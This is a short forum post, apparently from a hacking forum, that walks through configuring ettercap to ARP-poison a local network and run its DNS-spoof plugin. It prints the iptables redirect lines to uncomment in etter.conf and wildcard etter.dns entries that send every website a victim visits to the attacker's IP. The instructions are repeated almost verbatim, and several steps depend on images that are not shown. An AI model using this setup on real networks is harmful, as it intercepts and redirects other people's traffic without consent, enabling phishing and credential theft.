Setting up ettercap. 04-09-2011, 09:33 AM
#1
First you need to edit you etter.conf in order to arp poison the network.
![[Image: 77223217c.jpg]](http://img34.imageshack.us/img34/9251/77223217c.jpg)
Now look for this and remove the # sign.
After you remove the # sign it should look like this.
![[Image: 74946530.jpg]](http://img26.imageshack.us/img26/5980/74946530.jpg)
Now look for this
![[Image: 77101506.jpg]](http://img268.imageshack.us/img268/8853/77101506.jpg)
and change to this
![[Image: 67400483.jpg]](http://img163.imageshack.us/img163/2255/67400483.jpg)
the when done press ctrl + o and thats it.
Now setting up the dms spoof plugin.
Second thing in the etter.dns do this first erase everything then type what i have below here.
the * mean that any website they browse to will be directed to your local IP
*.*.* A 192.168.1.15 [your_ip]
*.* A 192.168.1.15
*.*.*.* A 192.168.1.15
Images where provided by 1llusion I had to do this in windows.
Code:
cd /etc
nano etter.conf
![[Image: 77223217c.jpg]](http://img34.imageshack.us/img34/9251/77223217c.jpg)
Now look for this and remove the # sign.
Code:
#---------------
# Linux
#---------------
# if you use ipchains:
#redir_command_on = "ipchains -A input -i %iface -p tcp -s 0/0 -d 0/0 %port -j REDIRECT %rport"
#redir_command_off = "ipchains -D input -i %iface -p tcp -s 0/0 -d 0/0 %port -j REDIRECT %rport"
# if you use iptables:
#redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"
#redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"
After you remove the # sign it should look like this.
![[Image: 74946530.jpg]](http://img26.imageshack.us/img26/5980/74946530.jpg)
Now look for this
![[Image: 77101506.jpg]](http://img268.imageshack.us/img268/8853/77101506.jpg)
and change to this
![[Image: 67400483.jpg]](http://img163.imageshack.us/img163/2255/67400483.jpg)
the when done press ctrl + o and thats it.
Now setting up the dms spoof plugin.
Code:
cd /usr/share/
nano etter.dns
Second thing in the etter.dns do this first erase everything then type what i have below here.
the * mean that any website they browse to will be directed to your local IP
*.*.* A 192.168.1.15 [your_ip]
*.* A 192.168.1.15
*.*.*.* A 192.168.1.15
Images where provided by 1llusion I had to do this in windows.